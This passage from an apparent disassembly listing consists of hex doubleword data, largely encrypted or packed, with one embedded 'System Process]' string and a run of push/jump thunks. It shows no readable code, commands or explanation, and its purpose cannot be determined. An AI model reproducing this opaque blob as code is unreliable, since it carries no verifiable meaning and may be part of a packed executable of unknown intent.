		dd 10C592DAh, 50E6FDA9h, 0C5AE3174h, 0C11562FAh, 0C7F64EFAh
		dd 0DAE3F4C1h, 912CAB88h, 92F13BB3h, 9EAC9638h,	215h, 0FC4E716Bh
		dd 0B709B41Fh, 71C3F8DAh, 26784194h, 0DD2F8E49h, 3B9C14A4h
		dd 7E533082h, 0CC0CE93Bh, 12C4A1F3h, 0C34B57A9h, 0B92D7BDh
		dd 89F0EB58h, 8E43C512h, 71687F2Bh, 26B0524Fh, 0AE009830h
		dd 0F2C909D6h, 0B4BFEE46h, 0AF2E422h, 48C8C62Bh, 0A450E8D0h
		dd 0A962B44Ch, 0B1F9A513h, 0E502E8ABh, 666C3457h, 58060380h
		dd 48F4CB0Dh, 0D3022AF0h, 357B274Fh, 58060353h,	17BB885Eh
		dd 308EEF4h, 0F41C5806h, 0A535055Ch, 0FB3AFCCh,	0D7CC8EE0h
		dd 0F8D9648Eh, 0E070h, 369B6800h, 176D5483h, 2F8C4Ah, 0B225E1F5h
		dd 0BFC7730Bh, 2DD9E6F2h, 3C9BA6D5h, 0DC8FD581h, 851F1ECh
		dd 0A5C9C431h, 3B4150DFh, 51F29855h, 7AA94169h,	0C54676Fh
		dd 61C18035h, 4B7ADCEEh, 4296633Bh, 1AA3307Dh, 0DCE7166Eh
		dd 915C1FAh, 0E3ABF39Bh, 0F222F7DDh, 0B4E30B51h, 7405A8AEh
		dd 6B9357E5h, 1FCF3D19h, 26ADD1D7h, 0EEBB5DFBh,	22A6D5EAh
		dd 0E02D8C45h, 0E42CC4F5h, 0CDFCBF17h, 2BDDFAC7h, 106814A7h
		dd 8E492678h, 74A7512Fh, 543E3893h, 0E446h, 7F409C00h
		dd 3A83502Dh, 0F4C70BE8h, 0A910C5A2h, 605D7A57h, 0CDE3D50Eh
		dd 8461B30Ah, 3D1A6C4Dh, 0F5D2249Bh, 7C88DAE1h,	9408EEF4h
		dd 211C580Bh, 0F8C512BAh, 0AE0DC9A6h, 1EB7845Ch, 0E1E7EF9Bh
		dd 51F1E7FBh, 204FE70Fh, 894A1739h, 1308834h, 2FDBE0F6h
		dd 0B507B422h, 0C40E6BD9h, 57CA9E38h, 0BD5533DFh, 0D921B911h
		dd 44F0C90Ch, 0B1B7BDECh, 57EC5740h, 8E96426Ah,	79A817C1h
		dd 153686Eh, 5D09B224h,	0C6960E17h, 0BA01D11Eh,	2A61F70Eh
		dd 65AB5D80h, 52FEBF18h, 99183A1Eh, 2EC37FE3h, 9C487761h
		dd 0CC0A1544h, 16C09DEFh, 24F1F9A5h, 72585EAFh,	86A0E92Eh
		dd 0C21AC65Eh, 0AD596075h, 0BA1B2655h, 5CFE53FFh, 0EBD0063Eh
		dd 0A11ABC99h, 0B620EDF5h, 81B0E046h, 720A56BEh, 33743h
		dd 0E48E0000h, 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h
		dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h,	64597A87h
		dd 696833B8h, 89000071h, 8957243Ch, 4C781E7h, 83000000h
		dd 3C8704EFh, 34895C24h, 6F76824h, 14890000h, 22C4BE24h
		dd 4E465F32h, 2414F756h, 49EE815Eh, 549AB43Ch, 8124148Bh
		dd 4C4h, 0F0895000h, 242C8150h,	10033B9Ch, 8108428Fh, 3B9C0842h
		dd 0FF581003h, 815A2434h, 4C4h,	24348B00h, 81E38953h, 4C3h
		dd 4C38100h, 87000000h,	0E95C241Ch, 0FFFAD013h,	998D13E0h
		dd 0B8169B10h, 619AD93h, 0E0FFC503h, 1A911019h,	455707E3h
		dd 11A16765h, 1C09F2BAh, 55A9BA9Dh, 9ED30C0h, 10148AF3h
		dd 2539F6C4h, 2E325653h, 0AF6DC8Eh, 187EBF9Ch, 660DD15Ch
		dd 764A2EE3h, 3F8B7C7Eh, 5A53B84Bh, 5894F75h, 23CD90E8h
		dd 7615E918h, 380EA425h, 7D4AF078h, 3E0FBE1Fh, 36FE281Eh
		dd 59B6D704h, 38508E4Bh, 6B84112Bh, 38FED37h, 2A79AED0h
		dd 181E9h, 2BED0700h, 97690C03h, 6B4DEA85h, 0B6598C4Dh
		dd 0BD57A50Ah, 0BE57B753h, 0B559340Ah, 9E704C53h, 0CC25673Ah
		dd 3771F853h, 33C514D1h, 8BB7A09Dh, 0FA151952h,	12853h
		dd 0
		dd 400h, 2 dup(0)
		dd 2F00h, 0
		dd 800h, 0
		dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 45h dup(0)
		dd 0FBE90000h, 68000016h, 619B225h, 0FB96A9E9h,	0B32C68FFh
		dd 9FE90619h, 68FFFB96h, 619B40Fh, 0FB9695E9h, 0B4D268FFh
		dd 8BE90619h, 68FFFB96h, 619B679h, 0FB9681E9h, 0B80968FFh
		dd 77E90619h, 68FFFB96h, 619B8CCh, 0FB966DE9h, 0B99168FFh
		dd 63E90619h, 68FFFB96h, 619BBCEh, 0FB9659E9h, 0BCA068FFh
		dd 4FE90619h, 68FFFB96h, 619BD3Eh, 0FB9645E9h, 0BDBB68FFh
		dd 3BE90619h, 68FFFB96h, 619BF69h, 0FB9631E9h, 0C4CA68FFh
		dd 27E90619h, 68FFFB96h, 619C5B5h, 0FB961DE9h, 0E98983FFh
		dd 6CFE0418h, 0F179879Bh, 73F50C20h, 0FA788EA2h, 82EF1429h
		dd 91DEE84h, 91A576FAh,	172BFC74h, 4DAF80E8h, 0A9D86C08h
		dd 0F5533046h, 4226D9A5h, 0AEBA4589h, 49F109DDh, 0C490F2FDh
		dd 0FA8E2ABFh, 752A2DE0h, 0FFC253E4h, 11117A63h, 22C7FF34h
		dd 0FFB7E5F9h, 4FDB9425h, 304120B7h, 0F9B2B649h, 0A573D611h
		dd 68FC6B8Eh, 1D1CD59Bh, 5BADBDB9h, 4DF071F5h, 406FA7BBh
		dd 48h,	8B27AA42h, 2A2CF9F7h, 0A4A8E172h, 45C88B8Ch, 0F99226C2h
		dd 7C0D2A2Ch, 207EB743h, 40033410h, 411410A4h, 69FA8B30h
		dd 17B452A6h, 3BEA41A7h, 0D710A1FDh, 0AE4AE26Eh, 0B81E3041h
		dd 0D110B3BEh, 5036FA7h, 5000001h, 7F4226D9h, 0DA93D72Bh
		dd 0B3F76099h, 22661F53h, 8ED28BDDh, 47305071h,	0E4FFEEE1h
		dd 0C73C9053h, 76AFF0A9h, 10BAB2F5h, 6C4ABDD8h,	98EB77B0h
		dd 712A2C9Dh, 1679AEEh,	2D959125h, 427B0C2Ah, 966701FEh
		dd 32EB7D82h, 0D8986BBFh, 95E57915h, 0D7682A2Dh, 81829A9Eh
		dd 1B433BBEh, 0C181E627h, 0E5B6427Bh, 483410E4h, 0D89529C5h
		dd 87183041h, 0D89428C4h, 86173041h, 0A669FA4Dh, 3733CF23h
		dd 0CD613D7Eh, 503041D8h, 310586BFh, 0B9551819h, 3A289057h
		dd 25619AAh, 57AB6E04h,	0C708C1A9h, 659ED233h, 3C36D0E4h
		dd 0BA069473h, 2472EDE0h, 1449h, 93640EFEh, 16E7837Fh
		dd 9B6CFE02h, 1DEE7A87h, 0A475FD09h, 9FD6A8Fh, 7F849869h
		dd 0F90C20F1h, 6D92A677h, 83C82AFBh, 46AB53E7h,	2878D630h
		dd 379E2DD9h, 0C81C5EECh, 0AABE8F20h, 58501355h, 0CE29DB68h
		dd 48E79DBDh, 62F7FAAEh, 0C91798D1h, 3D000119h,	0D39D66BAh
		dd 14A0D91Ah, 34101FDBh, 97D92A7Eh, 11649DDEh, 0D154C780h
		dd 141EB24Eh, 10A13041h, 4113A034h, 518A1B30h, 41142DC5h
		dd 0DB9B0130h, 0A736F396h, 0BBE66Fh, 0D9E80000h, 45894226h
		dd 6CF8B1C1h, 2A2C0619h, 4669CF0h, 8C760A4Bh, 0ABE425DEh
		dd 0FFD09867h, 9B5414EBh, 3C2ED428h, 5094283h, 0A629ECEDh
		dd 2CFD760Ah, 2F68F92Ah, 0AE4139BCh, 0C1E33DEBh, 0C3942059h
		dd 0A6341111h, 0EF8BB352h, 3041E15Bh, 83BC4DDEh, 0FACE9F30h
		dd 821EE1E2h, 3A289E11h, 4D23E034h, 6D30C114h, 0B485ED19h
		dd 430C66A0h, 0E0BA32FAh, 421A68E3h, 5000013h, 869A6B07h
		dd 91DEE7Ch, 8EA273F7h,	1024F573h, 96AB7CF6h, 70020461h
		dd 0F8788B9Fh, 7EF21327h, 26699ADh, 0EE8ACF31h,	3046AC5Ah
		dd 0D92777D5h, 6074452Dh, 0B5F8C99Fh, 0BDCC16BDh, 0F48DBF2h
		dd 0AD56AA91h, 0D06400C3h, 4B2A2CF9h, 0C23D81BAh, 827AEDA6h
		dd 93716D24h, 0EC306943h, 36CF2313h, 6CCA5E3Ah,	0AC542A2Dh
		dd 528A1BBEh, 1069A79Ch, 0A8790A0Ah, 45FE6C94h,	1FB34FD2h
		dd 9A2A2D34h, 738CD009h, 8DE124F5h, 0FA3BF474h,	14CD9B66h
		dd 0C7419AD3h, 0DB9E9FB7h, 10597E3Fh, 9A720334h, 0BA56B34Ch
		dd 6C6D8529h, 38480DA9h, 0B44525AEh, 0DEDFF7FBh, 0AD3C7F1Bh
		dd 0A2252B9Dh, 0ACEF831Fh, 0D96A1BCAh, 0CAAC69FDh, 1A53E41Bh
		dd 1F7336C7h, 0A3B788E0h, 0F0430C5Ch, 0B91125DDh, 125FF03Eh
		dd 24E80000h, 99697D4Eh, 14EC00D1h, 90718556h, 13F307D8h
		dd 44798E5Fh, 82531FE7h, 0ADB956Eh, 90610FF6h, 14E5837Ch
		dd 3DD16DB2h, 0C03046AEh, 27AA1262h, 633F33D3h,	2A2CF9CFh
		dd 3C80B94Ah, 0E8ECA5C3h, 700CCFD0h, 34100BA3h,	9BCD3286h
		dd 0AD7E0F62h, 49026699h, 692C2D45h, 2ABAE3CDh,	6D92263Ah
		dd 5E01B354h, 4958927h,	0A35CB073h, 2EB1F4C5h, 3AB6FE92h
		dd 0B7F0812Ah, 23DC8C73h, 4306071Fh, 24699DA7h,	0D0932434h
		dd 0D0B73DD8h, 6AA37F89h, 0C5CA3F7h, 90D8273Bh,	0F01064D7h
		dd 4780C17Ah, 672A2B43h, 20B448E4h, 0A6373041h,	0B15EFA6Dh
		dd 0DC3A2435h, 40C5824Bh, 8702E0B8h, 119C39h, 1161AB00h
		dd 94D62C40h, 1951AFC3h, 9BCD3448h, 2250B6CAh, 0AA873C51h
		dd 3145165Ch, 0B9CD9ED2h, 3F53244Ch, 75D7A8C0h,	0AE009430h
		dd 1D7B3046h, 452DD9CDh, 8788A074h, 1E8F28C4h, 6FF23410h
		dd 41133FD3h, 0F029BA30h, 0F530C9Dh, 93A778F0h,	9A2ECA6Ch
		dd 15304112h, 0AF93E4DDh, 0DF7062F6h, 0B3938B4Eh, 0D1B5DE16h
		dd 0FBF22A60h, 60F17907h, 0A2BABE27h, 4DE6DEA1h, 5DF18D26h
		dd 0E0304117h, 3EFB174Fh, 0E39CCE32h, 65D811A2h, 24760CC9h
		dd 0D149813Ah, 0DA22A4BAh, 4A036F97h, 2EE77809h, 9C551BEAh
		dd 7C0AA58h, 863040C3h,	2CA4B6B0h, 0F8075016h, 0B3CB9F70h
		dd 0E96CEFB2h, 2DC5B94Dh, 0ADBD432Ah, 7F10B3F4h, 995216EBh
		dd 0FA931F58h, 5F3410EAh, 0CEAC40DCh, 730F3041h, 3041CEDFh
		dd 9526C95Ah, 0BF78095Ch, 2BE4847Bh, 6D3A3C90h,	0F5915455h
		dd 3A24F35Ch, 0B5B54DE1h, 592ABBFCh, 2F41C216h,	4A03679Bh
		dd 738CD009h, 0D1C93CF5h, 51CDF43Eh, 692CBB5h, 2A2CF66Eh
		dd 0D285E145h, 0F5783B2Dh, 2DF6C559h, 2BA6B32Ah, 0A6B68C59h
		dd 0B8397203h, 0F90A5BA4h, 2B23E677h, 3BAD85E2h, 0FF68A14Ch
		dd 0ABFD948Ch, 0C6B94E88h, 7071898Dh, 0D06C11ADh, 80113410h
		dd 0DF9F86AFh, 6703C6C7h, 3A2B7785h, 8D936BFCh,	0B440F979h
		dd 2A3A5F1Ch, 12D5D6EEh, 24117476h, 8346D734h, 0E099D12Fh
		dd 0B2DDDFF8h, 0C2536ED9h, 3DC21689h, 0B9465A2Bh, 2F83F6AFh
		dd 9CDD96D2h, 8BE71F63h, 0ACCA1FC2h, 7BC944E6h,	0FF5h
		dd 0E7B8BA52h, 6A3B2FD3h, 0EFC0AA56h, 714226DBh, 0F8C9A95Dh
		dd 0B5513EE3h, 2BD8ECBDh, 0A5607445h, 19E6FACBh, 0D71C7E4Fh
		dd 46AFA73Bh, 74C42230h, 9B9E2DD9h, 3736FA98h, 0EDD2C6FEh
		dd 0A7FD35A3h, 0AE024516h, 0B347E353h, 362A2CFEh, 97DB14A5h
		dd 0E93D0068h, 579B541Ch, 0C90AC3AFh, 2396FF38h, 0FC86392Bh
		dd 3A735A89h, 0A65F09F6h, 342343A7h, 89CC9DCBh,	9F5CC35h
		dd 29463CF2h, 2B6C25B6h, 7515B8F2h, 8B086993h, 0A000001h
		dd 0C0AA56AAh, 498DC607h, 1B57AFB6h, 0D7902162h, 2BFC6C93h
		dd 7B3E3F57h, 1029F6DFh, 31EA7B34h, 412A0DA5h, 199CE130h
		dd 4129E97Dh, 9AD36430h, 45C86006h, 412A15A9h, 0CE079830h
		dd 0A748F194h, 4BE46Fh,	0F9F10000h, 1DAFCADCh, 481DF023h
		dd 0E9CD0F70h, 0AAA11F58h, 84BDAB56h, 0A4676880h, 84BDB350h
		dd 203C7511h, 0B0413410h, 36799EDh, 67D0094Ah, 0D63A0F4h
		dd 13B048D4h, 1E843041h, 36761958h, 0C0696FA7h,	76000000h
		dd 568FE122h, 4226D9D8h, 0B1C14589h, 0D23185F8h, 6BA4E59Eh
		dd 0CD90D827h, 28E18979h, 145AEE7h, 3D996AFEh, 2A2C05EAh
		dd 14D7916Eh, 0EF2741C0h, 38D5AEA2h, 0B8397220h, 0C256F275h
		dd 3D2A2D8Dh, 576F73ACh, 0F79356h, 8934144Ah, 25E135F8h
		dd 0B6397C4Dh, 10C99F62h, 195FF3CFh, 49DA3043h,	1956EA86h
		dd 48D93043h, 373BCB0Fh, 0AE4EE56Eh, 0F947C2E6h, 0E65h
		dd 77482AE2h
		dd 0FACB9F63h, 7F501AE6h, 1D2966Bh, 885919EDh, 25E14E73h
		dd 9B687C4Dh, 15F004D5h, 89768A5Bh, 67AC0EDFh, 46B237CBh
		dd 454B230h, 570B2AAh, 0ACFC8E1Dh, 98D72F73h, 94A036Dh
		dd 6C93A778h, 0D9DD2BFCh, 45894226h, 0F56ABBAh,	7CBD76F2h
		dd 0F88C28EBh, 732A2CF9h, 6C8051E2h, 181CD593h,	0E83CFF00h
		dd 5697501Ah, 0AD0EAA1Dh, 0E0341013h, 0B0607E4Fh, 9B000007h
		dd 51B0BF47h, 8C1D5E17h, 2DD9D553h, 0D22E8245h,	659EDF98h
		dd 0F9D870FCh, 92AA2A2Ch, 3832CE91h, 0BB3416ACh, 61E4672Ah
		dd 46A831C5h, 0E21BAC30h, 3607619Eh, 0D28BDD22h, 31FA788Eh
		dd 0E6A1C09Ah, 0A22674EFh, 0A500000Dh, 263A0B67h, 0A9BD8EDCh
		dd 2E421357h, 0B0C495D3h, 364B1C56h, 1062A481h,	98D82B3Fh
		dd 1E52B3C7h, 0A2C6394Dh, 8E2A6FD1h, 3046B1FAh,	0D9C71775h
		dd 2E82452Dh, 9BDC95D3h, 32CDE162h, 0C6397D36h,	86EAE9A2h
		dd 0E08877E0h, 0F87B251Dh, 1E5614EEh, 84BDC37Fh, 1756F903h
		dd 20496994h, 4B000000h, 0BA89B2AAh, 0F2A88A3Ch, 0B6C917BAh
		dd 0F0295CD3h, 2C723F64h, 0B6BA492Ah, 0FDBA8725h, 0AAB7FFFFh
		dd 0FFC2B056h, 2CF9CF63h, 80B94A2Ah, 2CF95CF4h,	15162E2Ah
		dd 8A7BCF52h, 0B3EC2DE6h, 16AC3527h, 581BAC34h,	1DADDDD5h
		dd 183A2068h, 4649BDFh,	88E01F33h, 0F77B8BCFh, 0A10E892Eh
		dd 2D7BF6E6h, 0CDDh, 0FFD0A26Ah, 825317EBh, 7D8926Eh, 895A0EF3h
		dd 10E19175h, 9D69C6FBh, 13F004D5h, 8D788C5Dh, 1FE12E3h
		dd 0EF349667h, 46B2BF53h, 8CDC3A30h, 0C73F26D9h, 1D611AABh
		dd 0CECD86E2h, 0D82C0C6Ah, 0E32A9E2Bh, 0C8224E6Bh, 7A3D7E37h
		dd 2D1E4ADEh, 0FB34C52Ah, 4F2048B7h, 0A7C0140Ch, 7EFE24D1h
		dd 24680B45h, 0D5B6993h, 5D000000h, 2C106C91h, 0FD85232Ah
		dd 0B5FFFFFCh, 3D000119h, 185119E9h, 17BC09A5h,	20B13410h
		dd 0C42DB67h, 0B2183041h, 2A0AADB4h, 0F5FD6FA7h, 0A000001h
		dd 0F99B8C12h, 0FF3842C2h, 0FA299181h, 0EC5E2A2Ch, 0AE7FE916h
		dd 4A03659Ah, 0EE8283D7h, 0F97929B5h, 1172A2Ch,	580DF265h
		dd 9306BFA9h, 2CF963F7h, 0C455E62Ah, 0F9D16501h, 0BB4C2A2Ch
		dd 6785592Ah, 8E71B56Eh, 72C609DAh, 5CA0D98Fh, 0AE02C5A3h
		dd 775F1852h, 74A8B07h,	639C2D24h, 53C66EFAh, 0D51A2A2Dh
		dd 5422B652h, 0D4082A2Dh, 10D39505h, 0CE32C669h, 3ED20B9Ch
		dd 4E963938h, 71896993h, 8B000001h, 0C03F26D9h,	1AAEEFA8h
		dd 31F485EBh, 0F97E12AEh, 70012A2Ch, 758ACE37h,	0E7DF22F3h
		dd 0CF6C5629h, 0C104935h, 9430F3F4h, 341096ABh,	0F8843DCEh
		dd 30415560h, 0C9A8CE34h, 6FA77426h, 2719h, 1191B00h, 68A13D00h
		dd 0ED341020h, 0DC30A35Ch, 4F904927h, 13F28A16h, 60C63041h
		dd 36B85B06h, 0F4AB6FA7h, 0AD000000h, 7F4226D9h, 2ACB04FCh
		dd 5678E696h, 2D26E67Ah, 0E58B782Ah, 7679B142h,	29D315B1h
		dd 83C73069h, 5015EC83h, 0BEFFB8B2h, 85D99C2Dh,	0F438F181h
		dd 91CA5B0Dh, 0DCBDB528h, 484B7743h, 560F61A2h,	74B8415h
		dd 44B770F8h, 86B9804Ch, 2D0656EAh, 1048D92Ah, 0C4FD9623h
		dd 20E67F80h, 0C7589952h, 0DECF9AF6h, 3EC12A2Ch, 0D5BA4F8h
		dd 2DCE9D31h, 0FE8F202Ah, 6A96EA2Dh, 1464C800h,	1D2DAF25h
		dd 0C7C8E0E4h, 62FE8104h, 2A2D5FCEh, 0FB87C051h, 34141C04h
		dd 0DD31F485h, 4DB34723h, 1D71E41Dh, 0A4B889E9h, 79F90D62h
		dd 0BC901FE8h, 9611E6AEh, 0AA048h, 0D65A700h, 90DA283Ch
		dd 1555ABBFh, 97D13044h, 1E54B2C6h, 0A683384Dh,	2D411260h
		dd 0B5C99AD6h, 3B4F2050h, 71D3A4C4h, 0B4FC902Ch, 217F3046h
		dd 452DD9D1h, 9AD82E82h, 33CCE061h, 0D9166435h,	45894226h
		dd 0AA9607BAh, 0E1E8DBD9h, 14617F50h, 91000004h, 0C6DEA0C4h
		dd 836602C5h, 63416ACh,	0BFD79D75h, 942545BBh, 0C89435D1h
		dd 0C1F93A29h, 0A8D67807h, 0CA831450h, 3A6DA63Eh, 0A2C8382Ah
		dd 0C5CA5E9h, 76F05453h, 6D8216B2h, 6CFD2A3Ah, 4C4489DBh
		dd 0E9E64E2Bh, 4C26E06Ch, 88C15293h, 4CEF72F4h,	3F69A070h
		dd 373h, 0A956AA41h, 62FA86BFh,	0AC2A2CF9h, 2A2CFA1Dh
		dd 0FFC2C3DBh, 10204E63h, 713ACB34h, 0E6AC7738h, 0CE1C6AE5h
		dd 79000009h, 0FA0EDF93h, 7D916208h, 216E783h, 849869FFh
		dd 0A1FF082h, 0E48E78D5h, 6C04FF13h, 0F27E879Bh, 76F20D21h
		dd 62FE43A5h, 3046B5CEh, 0D9A3F351h, 85894226h,	26A96C6Dh
		dd 0F97307A3h, 33F62A2Ch, 2CFA0397h, 64F5862Ah,	0AC419F2Bh
		dd 0B7483416h, 761A0F4h, 61794DCEh, 11CAA65Dh, 0E07C3FD0h
		dd 3A305986h, 0E539FC8Dh, 2581521Eh, 2A2C06B5h,	95717587h
		dd 677B4CDDh, 0D71BD49Ch, 297D4028h, 9ADB94DCh,	0DCF4F861h
		dd 2B7C18DBh, 1E341006h, 6FC1C48Dh, 0F8AE6ACh, 930C1h
		dd 7DF51700h, 6A98ACh, 85E51B2Fh, 761A0B4h, 8EE42236h
		dd 1673A8BDh, 9DB182F0h, 25390A66h, 0ABBF90E0h,	0E1431454h
		dd 0B66C009Ch, 91EF3046h, 11941h, 0AC47A13Dh, 39CA3416h
		dd 8FE12276h, 0DF8978CCh, 0F21125A6h, 132680D7h, 1FB08776h
		dd 494A6266h, 6A8CEA86h, 0EE7F3A30h, 18193135h,	877ED255h
		dd 3324B0E9h, 9634103Bh, 70A9BF42h, 0D6C38C1Dh,	0CFE6AC4Ch
		dd 8B30654h, 78940000h,	0ED1529FAh, 6898AC7Dh, 0E41D3102h
		dd 679FB384h, 0F0253A0Bh, 2EFF7393h, 0B687E91Ah, 3C0D63A2h
		dd 0C091D728h, 0E97D195Eh, 643046B6h, 56AAB606h, 468AC3ADh
		dd 0A9B208B9h, 82B208C3h, 0BF438F1h, 1A78CFB6h,	0E44F87E9h
		dd 0F4AD3EA4h, 82D591F5h, 0D428EB7Dh, 83043D2Bh, 581AEC40h
		dd 0B542E51Fh, 0C8356993h, 42000001h, 215A18EEh, 0AD56AAA3h
		dd 90C90AC3h, 0B073748Ch, 1004B314h, 8C45D634h,	0B6312119h
		dd 4AC9D204h, 0EAED8511h, 7CC13041h, 0EAC95DF9h, 88243041h
		dd 3041EAF4h, 0B243E677h, 0EABF53EFh, 0A93A3041h, 0D79ADC70h
		dd 6FA80934h, 17A27h, 26D92900h, 1E168942h, 79311164h
		dd 76BAF388h, 3A0EDF89h, 89E71E22h, 0B09935F8h,	0D534105Bh
		dd 67FF8B44h, 0F93040FAh, 69AD660Ah, 0D417D098h, 92E476F0h
		dd 84274A2Ch, 776FA719h, 4Ah, 11979h, 0AA19E93Dh, 0CCDA3C1Bh
		dd 265FF0AFh, 26DE17B3h, 12A33410h, 1735CD59h, 3AC73041h
		dd 0CE31752Eh, 7EE2E19Ah, 0DB2072F8h, 0B7F07887h, 7B1E4323h
		dd 6E6FA739h, 0D0h, 5FA4F87Bh, 0AA13511h, 8B1C3041h, 26D9D452h
		dd 0C1458942h, 285F8B1h, 2CF9D266h, 83BC4D2Ah, 0EFA8C03Fh
		dd 431454ABh, 48A50800h, 403CD8E8h, 92187B07h, 0CE512A2Ch
		dd 2D619E32h, 5790212Ah, 524AEC13h, 0F7F9E98Ch,	0CD613D0Eh
		dd 502A2D9Dh, 895D2EBFh, 59AD7071h, 1588C1A9h, 145A8279h
		dd 0B3760734h, 0FACBA75Fh, 0CA9E63B7h, 0B9B94D91h, 0AE7D99F0h
		dd 418F0AE6h, 705h, 0D7A8CA42h,	5A2B3FC3h, 0DFB0BA46h
		dd 613236CBh, 0E8B9B94Dh, 0C5412ED3h, 3BC8DCADh, 0B5506435h
		dd 29D6EABBh, 0C70C6E3Fh, 46B8972Bh, 64B41230h,	97FFB2AAh
		dd 0CA13A743h, 5962A2Dh, 3CBADECDh, 2B47BF03h, 0F894175Ah
		dd 2A2DEB64h, 0D91D56E7h, 23714226h, 0D79B26D9h, 0C6A45EEFh
		dd 20D4FC8Eh, 8778CC8Fh, 0CC3FA8E1h, 0BB19AD49h, 3942A2Dh
		dd 0BB10A440h, 0FA8B2A2Dh, 0E6827DC1h, 49F715h,	0C4270000h
		dd 0B44CA06Fh, 4CB9FDB6h, 992A6B24h, 43445C60h,	0AB88E480h
		dd 0F2833416h, 7091E51Ah, 5C66BFF8h
		dd 0C7A35FB3h, 9094CD0Eh, 0BCB47778h, 6997BFFEh, 279AD30Eh
		dd 30642E8Bh, 724ADB3Ah, 5018E93Dh, 5FC917h, 0AAF90000h
		dd 9C2B056h, 738B8FC8h,	6E13AF72h, 0B341007h, 9D63B77Ah
		dd 9F2B94CDh, 3040EC00h, 0C982E818h, 17EF7E85h,	0D061A25Bh
		dd 9DD9EF17h, 294D23CDh, 0A265667Eh, 0FBF46106h, 5EA8FC2Dh
		dd 0E8B246E2h, 9C2D2A2Ch, 706A520Bh, 0D986BDC8h, 0D72A63F4h
		dd 0D62F8346h, 0C2E0619Ah, 9Eh,	119F2h,	0ACBFA13Dh, 0B1423416h
		dd 121BA7D0h, 8629482Eh, 796FACCAh, 76h, 1197Bh, 0ACBEA13Dh
		dd 0B2433416h, 241AA8D1h, 93D790E2h, 0E943FC6Ch, 62075313h
		dd 0D679F87Eh, 0C96FACCAh, 4Eh,	0FD0119CBh, 13D66703h
		dd 0A6C43C90h, 3CD0ACEDh, 0BF2A2CFAh, 0E682F52Eh, 3416AB8Ah
		dd 3931F485h, 5AB73014h, 0A9BD402h, 0DB8F73C7h,	4FA8E122h
		dd 3337CB73h, 0A1CF367Ah, 0E185E9E8h, 50E18F76h, 0C2AFC7ABh
		dd 6FAC4A1Fh, 0D12h, 4C911400h,	432A2C1Dh, 0FFFF06A5h
		dd 27AAD5FFh, 2CF9F78Bh, 0A8E1722Ah, 0C88B8CA4h, 16AC1E2Ch
		dd 1C756D34h, 7A546794h, 0FA3285BEh, 6B289C65h,	4B1DE2ADh
		dd 6C7029BAh, 0D905354h, 53DD4015h, 2E671A55h, 2FEE45A2h
		dd 0FEB7483Ah, 1EE1E2FAh, 17987882h, 0A76AFB34h, 3B35D024h
		dd 99C0C603h, 8417FFBh,	692C3EC4h, 0D5CCA671h, 0DD294EFEh
		dd 0A5410495h, 30464011h, 41C2FB8Ch, 9154556Dh,	2FF19BF5h
		dd 4A0D9E3Ah, 0E1972BC7h, 81122A2Dh, 8481D548h,	5ABF1BECh
		dd 7FC20495h, 0CA9AC787h, 43BFC05Ah, 9C2D6E27h,	88E01F63h
		dd 0C5CA3B7h, 36374F53h, 0C054F073h, 4AC253D9h,	0BBFCB5BBh
		dd 0DB4E8718h, 70020458h, 0FEEAB37h, 433BCC37h,	20B1C7DEh
		dd 0E619AC1h, 0A79CC47Dh, 0FAF48824h, 0E677C85Eh, 0A5D19ADh
		dd 8EA273F5h, 0FC40F977h, 68AB6406h, 9075E284h,	0FE9A1DE0h
		dd 0C85EFA6Ah, 0F59154E5h, 0C85EFA61h, 91124BDCh, 2FE8887Dh
		dd 4066EED6h, 9CD43126h, 197DCBh, 0FB044801h, 0B387E2C6h
		dd 68F9FE7Fh, 31986BAFh, 3014A741h, 0BE770871h,	2EE7897Ah
		dd 0E176F006h, 0D2BD4E22h, 4840F87Eh, 0B4A2FBCFh, 0EBEF28FCh
		dd 654E2CD2h, 79F8BF07h, 0FC0317E8h, 52B1A96Ch,	0C5CA5EAh
		dd 5CC14CD4h, 5A699223h, 934C1EE4h, 0BEF08420h,	0DA6B2A2Dh
		dd 53AFC046h, 0CECD8617h, 0D5E0C6Ah, 659ACDA9h,	0DD252B03h
		dd 39F2788Ah, 22AE67F8h, 2A2DBE8Eh, 1740263Ch, 9AAE7FEBh
		dd 0C04C056Bh, 2A2DBF27h, 3CC5199Ch, 0F932732Ch, 0AF560165h
		dd 0C394F0C1h, 0D52A2CDEh, 46874030h, 0FD892BB5h, 537A6993h
		dd 7CFFFFFFh, 0F78B27AAh, 722A2CF9h, 0B4B44DE1h, 0A0C8377Bh
		dd 0C8388CCFh, 4E2803FBh, 0A7386B04h, 0EA75ADEEh, 799E99B6h
		dd 0E8175B94h, 271EB24Eh, 10A12A2Dh, 9768BC7Fh,	266F039Fh
		dd 59EA2A2Dh, 0EAFE8FC8h, 6B725315h, 0B7481F57h, 3ADDD9B1h
		dd 2D699349h, 4Eh, 1192Fh, 0AC44A13Dh, 0B8493416h, 2915AED7h
		dd 94D891D9h, 0ED470072h, 840B5F17h, 0A4C43D91h, 0DD71AAEBh
		dd 0F5F60E99h, 5A399632h, 31B43A30h, 2CFA0195h,	57EB7C2Ah
		dd 388BC4ACh, 179ACFA7h, 2CF9E77Bh, 98D1622Ah, 374Ah, 1197A00h
		dd 17E93D00h, 49D91B53h, 1C9BDCBCh, 77D470E3h, 1234177Fh
		dd 9B6ABE81h, 0E20B9CD5h, 0C4A238DEh, 0F7BABBD3h, 540D5DA3h
		dd 0CB67DA13h, 3A30296Eh, 72B28A1Bh, 289B26D9h,	5A646BC0h
		dd 198C45D6h, 60FC3AC5h, 2A2D5BCCh, 0F42DBE4Fh,	48194FB0h
		dd 985B5C74h, 108C13FCh, 22E57634h, 3937CEh, 4B730B97h
		dd 0E1473041h, 6A39DC85h, 0EEE66FA7h, 0E97B5DEh, 0C2EF2852h
		dd 44h,	0E78B7BCFh, 0B2AA30AEh,	3BF9794Ch, 0C4C8015Dh
		dd 4CE8ABACh, 34107213h, 800CC556h, 304141E8h, 28E1877Ah
		dd 0B9A71CE4h, 9C247C61h, 86CA8314h, 6E44EE7Ch,	0AA106208h
		dd 0BE02A5CCh, 0BEF56FA7h, 0F7000000h, 894226D9h, 0F8B1C145h
		dd 9CD43185h, 88E01F63h, 0F1748BCFh, 5FA05911h,	0C2BAFDCEh
		dd 0F7FE8C6Fh, 800C459Dh, 2A2CDB2Dh, 0DBACBC43h, 0B1BF4498h
		dd 9DCB3478h, 0C7C8E0E4h, 0FB0F6804h, 81123410h, 4EEA6DB0h
